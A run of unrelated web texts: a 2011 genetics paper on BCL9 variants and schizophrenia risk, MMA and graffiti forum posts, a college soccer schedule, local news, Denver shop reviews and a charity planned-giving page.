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Distribution of tag single-nucleotide polymorphisms (SNPs) in the BCL9 gene. The red numbers represent the different SNPs. The upper part of the figure shows the distribution of the 10 selected tag SNPs in the BCL9 gene. The lower part of the figure shows the linkage disequilibrium among all the SNPs. The black triangles show the blocks existing in the gene. UTR indicates untranslated region.
Multidimensional scaling plots in the third-stage samples. BPD indicates bipolar disorder; MDD, major depressive disorder, NC, normal controls; and SZ, schizophrenia.
Li J, Zhou G, Ji W, Feng G, Zhao Q, Liu J, Li T, Li Y, Chen P, Zeng Z, Wang T, Hu Z, Zheng L, Wang Y, Shen Y, He L, Shi Y. Common Variants in the BCL9 Gene Conferring Risk of Schizophrenia. Arch Gen Psychiatry. 2011;68(3):232-240. doi:10.1001/archgenpsychiatry.2011.1
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Recent genome-wide association studies have revealed that common variations and rare copy-number variations contribute to the risk of mental disorders. Rare recurrent microdeletions at 1q21.1 were reported to be associated with schizophrenia, and the BCL9 gene at 1q21.1 was also a functional candidate gene for mental disorders.
To investigate and validate whether common variations exist in a functional candidate gene in the copy-number variation region, and, if so, to determine whether these variations confer risk of schizophrenia or other mental disorders.
A 3-stage case-control study.
Shanghai, China.
A total of 12 229 subjects were included: 5772 normal controls, 4187 patients with schizophrenia, 1135 patients with bipolar disorder patients, and 1135 patients with major depressive disorder.
Main Outcome Measure
During the first and second stages of our study, we genotyped 10 single-nucleotide polymorphisms using the ligation detection reaction method. During the third stage of our study, all single-nucleotide polymorphisms were genotyped using TaqMan technology (Applied Biosystems, Foster City, California).
During the first stage of our study, we found that rs672607 was significantly associated with schizophrenia (P = 2.69 × 10−5). During the second stage, rs672607 was successfully replicated (P = 1.33 × 10−5), and rs9326555 (P = .002), rs1240083 (P = 1.7 × 10−4), and rs688325 (P = .006) were newly identified to be significant. During the third stage, we genotyped all single-nucleotide polymorphisms in 1135 patients with schizophrenia, 1135 patients with bipolar disorder, 1135 patients with major depressive disorder, and 1135 normal controls for further validation. Finally, when we combined all the data from the 3 stages of our schizophrenia study, we found that rs9326555 (P = 1.53 × 10−5), rs10494251 (P = .02), rs1240083 (P = 1.52 × 10−4), rs672607 (P = 1.23 × 10−11), rs688325 (P = 2.54 × 10−4), and rs3766512 (P = .01) were significant. Moreover, we found that rs672607 was significant in major depressive disorder (P = .001) and bipolar disorder (P = .03), and rs10494251 (P = .04), rs1541187 (P = .04), rs688325 (P = .02), and rs946903 (P = .006) were significant in major depressive disorder.
These findings indicate that common variations in the BCL9 gene confer risk of schizophrenia and may also be associated with bipolar disorder and major depressive disorder in the Chinese Han population.
Mental disorders are now recognized as leading causes of morbidity, and they require a great deal of long-term medical and social care.1 The results of numerous family, twin, and adoption studies conclude that genetic factors, rather than shared environment, play a major role in common mental disorders.1
Schizophrenia is characterized by psychotic features (delusions and hallucinations), disorganization, dysfunction in normal affective responses, and altered cognitive functioning, with heritability at up to 80%.1,2 Bipolar disorder and major depressive disorder are both related to distinct mood changes. Bipolar disorder is characterized by disturbances in mood ranging from extreme elation (mania) to severe depression, and it is often accompanied by psychotic features and cognitive changes, with heritability at 62% to 80%.1,3,4 Major depressive disorder includes a distinct change of mood, characterized by sadness or irritability and accompanied by at least several psychophysiological changes.5 Previous studies comparing concordance rates of major depressive disorder between monozygotic and dizygotic twins suggested a heritability of approximately 37%.6 Early-onset depression that is severe and recurrent has a higher heritability than do other forms of depression.5 Although the psychiatric etiology is poorly understood, accumulating evidence suggests that neurodevelopmental defects are involved.7,8
The B-cell CLL/lymphoma 9 gene (BCL9 ; OMIM 602597) extends to the 84.84-kb region from base 145 479 806 to base 145 564 639 at chromosome 1q21.1, including 10 exons and 9 introns. In 1998, Willis et al9 first reported the molecular clone using long-distance-inverse polymerase chain reaction (PCR) of a t(1;14)(q21;q32) in a pre-B acute lymphoblastic leukemia cell line (CEMO-1) and designated the novel BCL9 gene as the 1q21 target. The BCL9 gene encodes a 1394–amino acid protein that contains several pentapeptide repeats, a potential nuclear localization signal, and a 30–amino acid region that shares 90% homology with a Drosophila embryo expressed sequence tag clone but possesses no other recognizable domains.10 The BCL9 gene is expressed ubiquitously as 2 low-level transcripts from all tissues (a major 6.3-kb transcript and a less prominent 4.2-kb transcript), whereas a 1.6-kb transcript is present only in the spleen, thymus, and small intestine.9 The BCL9 protein is required for efficient T-cell factor–mediated transcription in the Wnt signaling pathway.11 There are several lines of evidence that the Wnt signaling pathway may be involved in the etiology of mental disorders.12 The Wnt signaling pathway influences neuroplasticity, cell survival, and adult neurogenesis. Recent studies12,13 have suggested that mental disorders may involve impairments in these functions. In 2008, Zandi et al13 first conducted a family-based association study between candidate genes in the Wnt signaling pathway containing the BCL9 gene and disease susceptibility in bipolar disorder. However, they found no association between the BCL9 gene and bipolar disorder in European samples.13
Several recent genome-wide association studies (GWASs) have identified that genetic common variants showed consistent association with schizophrenia and bipolar disorder. In 2009, the Genetic Risk and Outcome in Psychosis (GROUP), International Schizophrenia Consortium (ISC), and Molecular Genetics of Schizophrenia (MGS) cohort studies,2,14,15 using single nucleotide polymorphism (SNP)–based GWASs in large samples, suggested that individual genes associated with complex diseases may reveal underlying biological pathways, and these studies2,14,15 showed that common genetic variation may confer the risk of schizophrenia and bipolar disorder. In addition, they also speculated that schizophrenia and bipolar disorder may have overlap in pathogenesis.
In 2008, Stefansson et al16 discovered that large recurrent microdeletions were associated with schizophrenia at 1q21.1. They used a large population-based sample of 9878 transmissions from parents to offspring to identify de novo copy-number variations, after which they tested for an association in 1433 schizophrenia cases and 33 250 controls (phase I). Then they replicated the most promising variants from the first phase in a second, larger sample of 3285 cases and 7951 controls (phase II).16 They found significant association with schizophrenia and related psychoses for deletions at chromosome 1q21.1 in the phase I sample, the phase II sample, and the combined samples (uncorrected P = .02, P = 5.6 × 10−4, and P = 2.9 × 10−5, respectively).16 The ISC cohort study also found large deletions at chromosome 1q21.1 that were associated with schizophrenia.17 Both of these findings indicated that rare structural variations at 1q21.1 may play a role in the etiology of schizophrenia. We raise the question whether there are common variations that are associated with mental disorders, especially common variations in a functional candidate gene at this rare copy-number variation region.
The 1.35-Mb deleted segment of the chromosome 1q21.1 deletion contains several genes, including PRKAB2, FOM5, CHD1L, ACP6, GJA5, GJA8, GPR89B, GPR89C, NBPF11, and BCL9. The GJA8 and GJA5 genes were previously studied in association with schizophrenia in an Asian population,16 and there was no evidence that the PRKAB2, FOM5, CHD1L, ACP6, GPR89B, GPR89C, and NBPF11 genes played a role in neurodevelopment. However, for the BCL9 gene, it is required in the Wnt signaling pathway, which influences the neurodevelopment of mental disorders. Therefore, it was considered to be a functional candidate gene for mental disorders and was also considered to be located at 1q21.1. In addition, to our knowledge, there have been no studies on the association between the BCL9 gene and mental disorders in an Asian population until now.
In our study using 3 independent sample sets of the Chinese Han population, we chose 10 tag SNPs (rs671056, rs9326555, rs10494251, rs11240083, rs1541187, rs672607 rs688325, rs2236570, rs946903, and rs3766512) covering BCL9 (Figure 1) to investigate whether common variants in the BCL9 gene predispose an individual to schizophrenia. We also conducted association studies on bipolar disorder and major depressive disorder.
All cases were outpatients or stable inpatients from a mental health center in Shanghai, China. Eligible subjects had to meet all of the following inclusion criteria: (1) all subjects had to be interviewed by 2 independent psychiatrists, and their cases had to be diagnosed according to the DSM-IV criteria; (2) all subjects had to be unrelated, born in Shanghai, living in Shanghai, and their parents had to be local residents of Shanghai as well; (3) all subjects had to be from 18 to 65 years of age; (4) all subjects had to have had a 2-year history of psychiatric disease; and (5) all subjects had to provide written informed consent. Subjects were excluded if they had other diseases, such as cerebral infarction. Approval was received for our study from the local Ethics Committee of Human Genetic Resources.
The sample of schizophrenia cases consisted of 4487 unrelated participants meeting the DSM-IV criteria. All of our schizophrenia cases were paranoid schizophrenic patients and had not had a lifetime episode of mania or depression. All cases met 2 criteria: preoccupation with 1 or more delusions and frequent auditory hallucinations; however, none of the following symptoms were prominent: disorganized speech, disorganized or catatonic behavior, or flat or inappropriate affect. Subjects with an IQ of less than 70 were excluded. The schizophrenia cases in the 3 stages of our study were recruited using the same criteria. The sample of subjects from the first stage of our study consisted of 1034 patients with schizophrenia (570 men and 464 women). The mean (SD) age was 38.8 (14.1) years, and the mean (SD) onset age was 25.2 (11.1) years. The second-stage sample consisted of 2018 patients with schizophrenia (1041 men and 977 women). The mean (SD) age was 42.7 (16.1) years, and the mean (SD) onset age was 25.7 (10.1) years. The third-stage sample consisted of 1135 unrelated patients with schizophrenia (630 men and 505 women). The mean (SD) age was 35.4 (7.2) years, and the mean (SD) onset age was 24.8 (6.7) years.
The cases of bipolar disorder consisted of 1135 unrelated participants meeting the DSM-IV criteria (618 men and 517 women). The mean (SD) age of patients with bipolar disorder was 47.9 (10.4) years, and the mean (SD) onset age was 36.6 (13.8) years. Of these unrelated participants in our study, 673 (59.3%) had a lifetime experience of psychotic symptoms, and 442 (38.9%) had a lifetime experience of mood-incongruent psychotic symptoms.
All of the subjects with major depressive disorder were carefully selected on the basis of having at least 2 distinct major depressive disorder episodes and no sign of bipolar disorder symptoms during the 2 years after the onset of depression. A total of 1135 unrelated subjects with major depressive disorder (483 men and 652 women) were recruited. The mean (SD) age was 49.3 (12.8) years, and the mean (SD) onset age was 35.1 (11.6) years. Of these unrelated subjects, 583 (51.4%) had psychotic symptoms, and 563 (49.6%) had a lifetime experience of comorbid anxiety disorder (panic or social phobia).
All controls were randomly selected from the local population of Shanghai. Volunteers replied to a written invitation to have their medical history completely evaluated; along with this invitation were questions about schizophrenia, psychosis, major depressive disorder, and bipolar disorder. Practice lists were screened for potentially suitable volunteers by exclusion of subjects with major mental illness or with first-degree relatives with major mental illness. All controls in the third stage of our study were recruited using the same criteria. The first-stage sample of subjects consisted of 1034 normal controls (522 men and 512 women), and the mean (SD) age was 30.0 (8.7) years. Of these normal controls, 307 (29.7%) participated in our study. The second-stage sample of subjects consisted of 3603 normal controls (1800 men and 1803 women), and the mean (SD) age was 61.5 (9.9) years. Of these normal controls, 930 (25.8%) participated in our study. The third-stage sample of subjects consisted of 1135 normal controls (369 men and 766 women), and the mean (SD) age was 58.7 (9.9) years. Of these normal controls, 326 (28.7%) participated in our study.
Genomic DNA was prepared from peripheral blood samples obtained from the subjects using the standard phenol-chloroform extraction method. Tag SNP selection was performed using Haploview software (http://www.broad.mit.edu/mpg/haploview) (parameter setting as pairwise tagging with r2 ≥ 0.8)18,19 and a minor allele frequency of 0.05 or higher. Ten tag SNPs covering the whole BCL9 gene by linkage disequilibrium were selected: rs671056, rs9326555, rs10494251, rs11240083, rs1541187, and rs672607 in intron 1; rs688325 in intron 2; rs2236570 in intron 8; and rs946903 and rs3766512 in the 3′ untranslated region of the exon region (Figure 1). In the coding region of the BCL9 gene, there was no nonsynonymous mutation with a genotype frequency higher than 0.05 in the Chinese Han population in the National Center for Biotechnology Information database.
During the first and second stages of our study, we genotyped all 10 SNPs using the ligation detection reaction method, with technical support from the Shanghai Biowing Applied Biotechnology Company. The mean call rate for all markers was 96%. There was no significant deviation from the Hardy-Weinberg equilibrium in the controls (P > .05).
During the third stage of our study, all SNPs were genotyped on the ABI 7900 DNA detection system (Applied Biosystems, Foster City, California) using TaqMan technology. All probes were designed by Applied Biosystems. The standard 5-μL PCR was performed using TaqMan Universal PCR Master Mix reagent kits according to the guidelines provided. There was no significant deviation from the Hardy-Weinberg equilibrium in the controls (P > .05).
All calculations of allele and genotype frequencies, of the Hardy-Weinberg equilibrium, and of pairwise linkage disequilibrium were performed using the online SHEsis software (http://analysis.bio-x.cn).20,21 The significance level was set at α = .05. Power calculations were performed using the G-power software (http://www.psycho.uni-duesseldorf.de/abteilungen/aap/gpower3/).
To avoid the false-positive association caused by potential population stratification, we performed population stratification analysis on the third-stage sample set, using genotype data on 89 additional random SNPs (eTable 1). We obtained data on these 89 SNPs from 270 HapMap samples (90 SNPs for CEU [Utah residents with ancestry from northern and western Europe in the United States], 90 SNPs for YRI [Yoruba in Ibadan, Nigeria], 45 SNPs for CHB [Han Chinese in Beijing], and 45 JPT [Japanese in Tokyo]; HapMap public release 23a at http://hapmap.ncbi.nlm.nih.gov/biomart) and found that these SNPs worked well to differentiate these samples into 3 clusters by ethnicity (eFigure 1A). Structure version 2.3.1 software (http://pritch.bsd.uchicago.edu/software/structure_v.2.3.1.html) was used to track potential population structures using these SNPs.22,23 We applied an admixture model and an independent allelic frequency model and ran from K = 2 to K = 10, where K is the number of potential classifications of tested samples. For all Structure runs, we set the parameters with a burn-in of 10 000 iterations and 20 000 follow-on iterations. All results of this analysis are listed in the eAppendix.
We also calculated pairwise identities by state (IBS) for all samples, and we performed classical multidimensional scaling on the identity matrices for the total data. The genomic inflation factor (λ) was generated using Plink software (http://pngu.mgh.harvard.edu/~purcell/plink/), running the "--assoc --adjust" command line option, and an entry was generated in the log file.24 The value should be close to 1 and not greater than 1.2.
For 1034 subjects with schizophrenia and 1034 normal controls, we found that rs672607 was significantly associated with schizophrenia (P = 2.69 × 10−5) (Table 1). To validate this initial finding, we conducted the second stage of our study on a much larger sample set: 2018 subjects with schizophrenia and 3603 normal controls. We successfully replicated the significance of rs672607 (P = 1.33 × 10−5) for schizophrenia (Table 1). Moreover, we found that rs9326555 (P = .002), rs1240083 (P = 1.7 × 10−4), and rs688325 (P = .006) were also significantly associated with schizophrenia (Table 1).
During the third stage of our study, we genotyped 1135 subjects with schizophrenia, 1135 subjects with bipolar disorder, 1135 subjects with major depressive disorder, and 1135 normal controls. We still found rs672607 (P = .006) and rs688325 (P = .006) to be risk factors for schizophrenia (Table 2). We also detected the significance of rs672607 in bipolar disorder (P = .03). For major depressive disorder, rs672607 (P = .001), rs10494251 (P = .04), rs1541187 (P = .04), and rs688325 (P = .02) were found to be significant (Table 2).
We also conducted a combined study of schizophrenia, with 4192 subjects with schizophrenia and 5777 normal controls. We found rs9326555 (P = 1.53 × 10−5), rs10494251 (P = .02), rs1240083 (P = 1.52 × 10−4), rs672607 (P = 1.23 × 10−11), rs688325 (P = 2.54 × 10−4), and rs3766512 (P = .01) to be significantly associated with schizophrenia (Table 2).
Genotype distributions were in Hardy-Weinberg equilibrium for all SNPs in the controls during each stage of our study (P > .05), except for rs1541187 during the first stage of our study (P = 2.48 × 10−6) and rs9326555 (P = .001), rs10494251 (P = .007), and rs1541187 (P = 3.17 × 10−11) during the second stage. Genotype frequencies are shown in eTables 2, 3, and 4. We performed the population stratification analysis during the third stage of our study using Structure software (eAppendix). We also used Plink software for the pairwise IBS analysis and calculated the multidimensional scaling of IBS distances. The multidimensional scaling result indicated no obvious population stratification (Figure 2). The λ values were also obtained using Plink software. For the third-stage samples, λ = 1.092 (for schizophrenia, λ = 1.000; for bipolar disorder, λ = 1.068; and for major depressive disorder, λ = 1.131). These findings indicated that there was no obvious population stratification in our sample of subjects, and our results should not be considered a false-positive association that was simply caused by population stratification.
The BCL9 gene is a good candidate gene for psychiatric diseases because it is a functional candidate gene for mental disorders and is also located in a region affected by rare copy-number variations that represent a risk of schizophrenia. The BCL9 gene is required in the Wnt signaling pathway; this pathway plays a crucial role in a number of animal developmental processes and directs growth and cell development in a variety of processes (such as embryonic central nervous system segmentation).25- 27 In our study, we found that common variations in the BCL9 gene were significantly associated with schizophrenia in 3 independent sample sets, and that these variations were also moderately associated with major depressive disorder and marginally associated with bipolar disorder.
In 2009, the ISC performed a GWAS of 3322 European subjects with schizophrenia and 3587 controls. First, they suggested that the major histocompatibility complex is associated with schizophrenia. Second, they provided molecular genetic evidence for a substantial polygenic component to the risk of schizophrenia involving thousands of common alleles of very small effect. For schizophrenia, their data pointed to a genetic architecture that included many common variants of small effect.2 The MGS cohort study was a GWAS of common SNPs in the MGS case-control samples, and they performed a meta-analysis of data from the MGS, ICS, and SGENE consortium data sets.15 The GROUP cohort study also performed a genome-wide scan of 2663 subjects with schizophrenia and 13 498 controls (from 8 European locations), and then they combined the findings from their top 1500 markers with the results from both the ISC and MGS studies.14 The combined findings proved that common variants located in the major histocompatibility complex region conferred risk of schizophrenia, and there was also speculation that schizophrenia and bipolar disorder may share the same genetic factors in pathogenesis.
In 2008, Ferreira et al28 tested 1.8 million variants in 4387 cases of bipolar disorder and 6209 controls (including data from studies by the Wellcome Trust Case Control Consortium and the Systematic Treatment Enhancement Program for Bipolar Disorder and the University College London) and found that a common SNP located in the ANK3 gene was strongly associated with bipolar disorder. In 2009, Sullivan et al29 conducted a GWAS of 435 291 SNPs genotyped in 1738 cases of major depressive disorder and 1802 controls selected to be at low liability for major depressive disorder. They also detected a common SNP significantly associated with major depressive disorder.29 All these studies confirmed that common variations contributed to the risk of schizophrenia, major depressive disorder, and bipolar disorder, consistent with our findings.
In these GWASs, there was no information about whether common variants in the BCL9 gene were associated with schizophrenia, bipolar disorder, or major depressive disorder. The minor allele frequency of rs672607 varies quite a lot between the white European population and the Chinese Han population, which indicates that obvious genetic heterogeneity exists in this region. Because the minor allele A is very rare in Europeans, we thought that rs672607 might even be excluded after quality control procedures were performed in these GWASs of common variants. However, rs672607 was frequently found in African populations. Therefore, we checked the data from a GWAS on African American population–based schizophrenia from the Genetic Association Information Network (GAIN) database. In this GWAS, we found that 11 SNPs in BCL9 were associated with schizophrenia (eTable 5), in which rs672607 and rs666106 were in linkage disequilibrium (D ′ = 1.0; r2 = 0.17; logarithm of odds [LOD] = 5.45; P = .003), rs688325 and rs11240089 (P = .006) were in strong linkage disequilibrium (D ′ = 1.0; r2 = 0.82; LOD = 12.6; P = .006), and rs11240083 and rs666106 were also in linkage disequilibrium (D ′ = 1.0; r2 = 0.054; LOD = 2.26) (eFigure 2). These results further support our findings. In addition, by checking a GWAS on schizophrenia in white European subjects from the GAIN database, we found only 2 SNPs in the BCL9 gene that were marginally associated with schizophrenia (eTable 6). Such differences among populations were considered to be related to genetic heterogeneity, including differences in allele frequencies and in correlated linkage-disequilibrium patterns. Fine mapping studies of BCL9 in the white European population may help us understand this phenomena.
Power analysis revealed that the statistical power of our sample to detect a significant association (P < .05) was about 90% in allele or genotype comparisons. To test whether population stratification was significant in our samples, we collected genotyping data of another 89 SNPs (eTable 1) in the third-stage samples, which contained 1135 unrelated cases of schizophrenia, 1135 unrelated cases of major depressive disorder, 1135 unrelated cases of bipolar disorder, and 1135 normal controls. The mean call rate for these SNPs was 98.7%. By using Structure version 2.3.1, we found no stratification in our third-stage samples.22,23 However, the 270 HapMap samples could easily be divided into 3 groups by ethnicity (eFigures 1 and 3). The λ value for the third-stage samples was 1.092. Therefore, these findings indicated that there was no sign of population stratification in our subjects, and our findings should not be considered spurious associations caused by population stratification.
In conclusion, our experimental data provide strong evidence that common variations in the BCL9 gene are associated with schizophrenia. We also found common variations in the BCL9 gene to be moderately associated with major depressive disorder and marginally associated with bipolar disorder in the Chinese Han population. Further studies investigating the role of the BCL9 gene in the etiology of schizophrenia would be worthwhile, and replications of this association in further independent samples are necessary.
Correspondence: Yongyong Shi, PhD, Bio-X Center and Affiliated Changning Mental Health Center, Key Laboratory for the Genetics of Developmental and Neuropsychiatric Disorders, Ministry of Education, Shanghai Jiao Tong University, Shanghai 200030, China (email@example.com).
Submitted for Publication: January 15, 2010; final revision received October 6, 2010; accepted November 19, 2010.
Author Contributions: Dr J. Li had full access to all the data in the study and takes responsibility for the integrity of the data and the accuracy of the data analysis.
Financial Disclosure: None reported.
Funding/Support: This work was supported by grants from the National 863 program (2006AA02A407 and 2009AA022701), the Shanghai Changning Health Bureau program (2008406002), and the Shanghai Municipal Health Bureau program (2008095), the Shanghai Leading Academic Discipline Project (B205), and 973 grant 2010CB529600.


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Once andy glen gets matched is that the card complete or will there be more fights
Once andy glen gets matched is that the card complete or will there be more fights
Not sure of specifics mate, his manager will know though.
Going by Sherdog Scottoli's 5 recorded wins were over opponents with a combined record of 1-11.
Fighting Turner will be a step up for him. Kid is unbeaten and his record is shy of some fights on sherdog as stated.
Turner looking good in the gym.
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Craig 'Doc' Docherty (Grip, DNFT) v O 'Icebox' Okunnu (Team Icebox, Sunderland) at 63.5kgs Catchweight
Former Pro Boxer Docherty who is 1-0 in MMA will face the tricky Okunnu who is 2-1 at Pro, he also has an impressive Semi-Pro and Amateur record to his name.
A good test for both fighters, a classic Striker vs Grappler match-up
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good fight for doc! lookin forward to this card gna be a topper!.
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Brevard College Announces 2008 Women's Soccer ScheduleMay 28, 2008
Brevard, N.C. – The Brevard College women's soccer team's 2008 schedule has been finalized, as announced by the BC athletics department in conjunction with head coach Liz Stojetz.
Although the upcoming 2008 schedule is a challenging one for the Tornados as they will compete in the tough South Atlantic Conference, BC will play 10 of their 18 regular season matches at home.
The Tornados will open up the 2008 at slate on home on August 29, as they host Columbia College. After the home opener, the Tornados will then hit the road for their next match, playing Anderson University in Anderson, S.C. on September 3.
Brevard will then continue their non-conference schedule with a home contest against Coker College on September 6 and a road match up with Lees-McRae College on September 8.
Coach Stojetz' squad will then open up South Atlantic Conference play at home on September 11, when the Tornados will play host to Lenoir-Rhyne University.
The Tornados next game will be on the road at Reinhardt College on Saturday, September 13, before returning to Brevard to host their next three games against North Greenville University (9/17), Southern Wesleyan University (9/22) and SAC foe Newberry College (9/24).
Brevard then returns to the road on September 27, as the Tornados will kick-off a four-game road stretch in which they will take on Tusculum College (9/27), Belmont Abbey College (9/29), Lincoln Memorial University (10/2) and Warren Wilson College (10/4).
The next two matches for the Tornados are both conference bouts, as BC welcomes Wingate University to Brevard, NC on October 8 and then plays at Mars Hill College on October 17.
On October 18, the Tornados will host Emmanuel College out of Georgia in non-conference action, which will be followed by a non-conference match up with Converse College on October 24.
The Tornados will then take on Carson-Newman College in Jefferson City, TN on October 29, returning home to wrap up their 2008 regular season play with a match up against the Lady Indians of Catawba College on November 1.
Brevard will then complete in the 2008 South Atlantic Conference tournament, their first year of eligibility, which will be held from November 7-9.
The Tornados are coming off a 4-15-1 season, where BC competed as a provisional member of both the NCAA Division II and the South Atlantic Conference. With no players leaving off the 2007 roster due to graduation and the core of the 2007 roster returning with yet another year of experience under their belts, the Tornados will look to continue their improvement as BC moves into their first year as an NCAA Division II and South Atlantic Conference member.


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Miami University Art Museum commemorates 100th anniversary of U.S. entry into WWI
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Convention Center Hotel Plans Unveiled
(Cleveland) On Tuesday afternoon the first designs for the Cleveland Convention Center hotel will be unveiled to the public for the first time. The $260 million dollar structure will include 600 rooms and stand 27 stories tall, above a 4 story podium.
The public areas will include a restaurant, a lobby bar and lounge, retail space and, possibly, a green roof on the lower-slung part of the building and some sort of public space atop the hotel.
Plans include 55,000 square feet of meeting space, and depending on the outcome of engineering studies, an underground parking structure with roughly 280 spaces.
Jeff Applebaum, an attorney representing the county on the project, expects that there will be several public meetings about the design during the next few months. Those include a general meeting on November 20th and a discussion at the Cleveland Landmarks Commission on November 21st.
Excavation of the hotel site, where the county's former administration building now stands, could start in Febrary.
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From I-70, Bass Pro Shop looks like a mirage — a giant funplex surrounded by a sea of boats in landlocked Denver. And given the lack of a Northfield exit off the interstate, it can feel like you're chasing a mirage when you try to actually reach this store. But once you locate the proper exit (Quebec Street) and wind your way to the giant sporting goods outlet, you'll find your efforts rewarded with aisle after aisle devoted to every sport imaginable, as well as to home furnishings, gift items, clothing, even jerky. And if contemplating all the possible purchases is exhausting, you can always take a breather in the handy bar and restaurant. Special bonus: Bass welcomes dogs, hunting or not.
There's a lot to recommend about Gimme Anime, but integrity is the foremost reason to feed your cultish obsession for Japanese animation, comics, serial graphic novels and accessories there. Owners Roger Morse and Emily Morse-Lee run a strictly bootleg-free business and stand by the quality of the stock, both new and consigned, that they put on the shelves of their Aurora strip-mall shop. But it's also an encyclopedic go-to for the very best stuff around, decked out with locally made fan art, where they'll gladly bend over backwards for you with special-ordering and wish-list services. Plus, the store offers a Gimme Manga frequent-buyer's card that will net you a free Fruits Basket (or other serial comic) for every nine that you buy and will provide meeting space for fellow mangamaniacs. That's not just retail; that's community.
Common Threads is a combination high-end used-clothing consignment boutique, local-product gift shop and creative lab, where you can learn to repurpose your newly purchased secondhand rags or send your kid to a spring-break sewing camp. Designed also with a dual purpose — to serve at-risk girls from Boulder's AIM House with special programs and to cater to the public at large — its all about the woman-to-woman experience (though guys are certainly welcome) with a green tinge, offering everything from a mentoring helping hand and a friendly stitch-and-bitch atmosphere. Believe it: This is the boutique of the future.
Anna Bé is exactly what you always imagined a wedding-dress shop would look like: a charming boutique with exposed brick walls and four neat rows of simple, elegant designer dresses; one massive pedestal before a three-tiered mirror; and not another bride in sight. Adorable, never-pushy co-owner Anna is only concerned with you. She'll bring you and your friends champagne and stay out of your way while you try on the first few dresses. Then she'll casually hang a dress outside your door and suggest you give it a try. It looked plain on the hanger, but on you, it's absolutely perfect.
When the going gets weird, the weird turn pro. In a perilous economy, lots of people look to precious metals and collectable coins, but there are plenty of weirdos in the field as well as professionals. We like Dave Eichenberger's shop because the folks there are friendly, well-versed in the eccentricities of coin collecting, never intimidating and eminently fair, both in what they sell and what they pay for old coins and jewelry. Dave dispenses good advice for collectors, can spot a three-legged buffalo nickel in a pile of mere spenders, and can perform a quick assay to let you know if Grandpa's ring is real gold or 99 percent pure ersatz. And that's what you want from professionals these days: a quick winnowing of the chaff from the golden wheat.
So the photography nut on your gift list has asked for a stack of hardcover photo books by people with names like Lee Friedlander, Alfred Stieglitz and Annie Leibovitz. Don't know where to turn? Camera Obscura Gallery has plenty of fine art; in fact, the gallery and store claims to have the biggest selection of photography books in Colorado. Plus, they'll let you peruse the books before you buy them. Spend an afternoon there flipping through some of the best photos ever — then solve your gift-buying problems in a flash.


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Style wars kept me from sleeping. The intro with the trains coming outa the yard.. That inspired me.Originally posted by Havoc411@Sep 23 2005, 02:10 PM
you say it like you expect me to loose some sleep over it. like, ive watched it, and it seriously put me to sleep, same thing with euro train vids. if im gonna wanna watch a graff vid, im gonna wanna see some people burn some steel or walls, not talk about graffiti. if i wanted to hear people talk about graff id chill with all the other writers i know


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Financial donations & Planned Giving
It is more often the case that we wish to help but have no idea the many ways that we can benefit our communities and charitable programs financially or otherwise.
When you choose the Solidary Foundation you can be assured that your gift will benefit those in need and help the Charities and charitable programs we support, enhance these programs, and substantially increase resources of many charitable causes needed to support our communities.
There are many ways to help.
The following is just a brief summary of the many ways you can help.
1.- Cash donations over $500.00.
2.- Stocks & bonds.
3.- Honorariums.
4.- Memorial donations.
5.- Charitable bequest.
6.- Revocable living trusts.
7.- Charitable remainder unitrust.
8.- Charitable lead trust.
9.- Life estate arrangement.
10.- Life insurance gifts.
11.- Charitable remainder annuity trust.
12.- Planned giving.
1. Cash donations over $500.00.
A. If you plan to make a contribution of cash, stocks and bonds, or other significant assets or would like to include Solidary Foundation in your estate, we request that you call us at your convenience.
2. Stocks & bonds.
A. We are happy to accept the donation of stocks and bonds.
3. Honorariums.
A. A gift to Solidary Foundation is a very satisfying way to recognize the celebration of a birthday, anniversary or other special occasion - particularly for those that "have everything". Upon receipt of your donation, we'll send a card to your friend or relative acknowledging your gift on their behalf, and provide you with a receipt for tax purposes.
4. Memorial donations.
A. Consider honoring the memory of a friend or relative by making a contribution to Solidary Foundation in the form of a memorial gift. More and more individuals ask that friends and relatives make a contribution to a charitable organization such as Solidary Foundation that the deceased has supported during his or her lifetime instead of sending flowers. Examples of memorial gifts are endless - many organizations can attribute buildings, equipment, endowment funds, and a multitude of services to gifts made in memory of loved ones. We will be glad to assist you in choosing an appropriate commemoration for our gift in honor of someone special to you.
5. Charitable bequest.
A. With your attorney, you revise your will or add an amendment to make a gift of a dollar amount, specific property, a percentage of your estate, or what is left after your beneficiaries have been cared for.
6. Revocable living trusts.
A. If you have established a revocable living trust to pass your property to loved ones while minimizing probate costs, you can also provide that at the termination of your trust a portion of the assets in the trust be used for charitable purposes that you designate.
7. Charitable remainder unitrust.
A. This allows you to have income from your property for life or for a specified period, but your income will increase or decrease with the value of your assets. You determine the set percentage to go to the charity at the time the unitrust is set up.
8. Charitable lead trust.
A. This transfers the specified assets to a trust that pays income to a charity for a specified number of years. At the end of the trust, the assets are returned to you or your beneficiaries.
9. Life estate arrangement.
A. This allows you to make a gift of your home to a charitable organization now but retain the security of knowing you may live there as long as you wish. There are also annual tax benefits to this arrangement. You continue to take care of the property, pay the taxes, and receive any income it generates. When you are deceased, the property legally becomes the responsibility of the charity and does not pass through your estate.
10. Life insurance gifts.
A. A simple way to make a significant gift in the future is to name a charitable beneficiary to receive all or a portion of the proceeds of a policy no longer needed for its original purpose. Another way is to purchase a new policy naming the charity as a beneficiary or co-beneficiary.
11. Charitable remainder annuity trust.
A. This allows you to retain a set amount of income from your property for life or for a specified period. Your funds are held separately and invested for payment of a fixed and regular income for you. When the trust ends, whatever remains in the trust is distributed for the charitable purposes you specify.
12. Planned giving.
A. Sound financial planning may allow you to include charitable giving in your long-range plans without sacrificing your economic security. With the assistance of your financial planner, tax advisor, and Solidary Foundation, your charitable gift may enable you to:
 a) Enjoy welcome tax savings.
 b) Add to your retirement income.
 c) Manage your assets for a surviving spouse or other loved ones.
 d) Feel good about benefiting worthy and charitable causes in your community and helping those in need.
 e) The donation procedure is quick, simple and with no hassles (We handle everything for you).
These are just a few of the benefits you will receive by supporting the charitable causes and benevolent programs made available through Solidary Foundation and their charitable partners.
We would be happy to discuss Endowments, Charitable Bequests, Charitable Remainder Trusts, and many other ways that a donation to Solidary Foundation could enhance your financial plans today and for the future. We have listed above some possibilities for you to consider. We suggest that you speak with your financial planner, and tax advisor for more details on the benefits that you will gain by using one of these vehicles to donate to Solidary Foundation.
Remember, it's always better to give than receive. The glory and most important benefit of charitable donations is that you give and receive at the same time. Increase cash flow from low-yielding investments or other property that has appreciated in value.


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Why is there a dog in this high school yearbook?
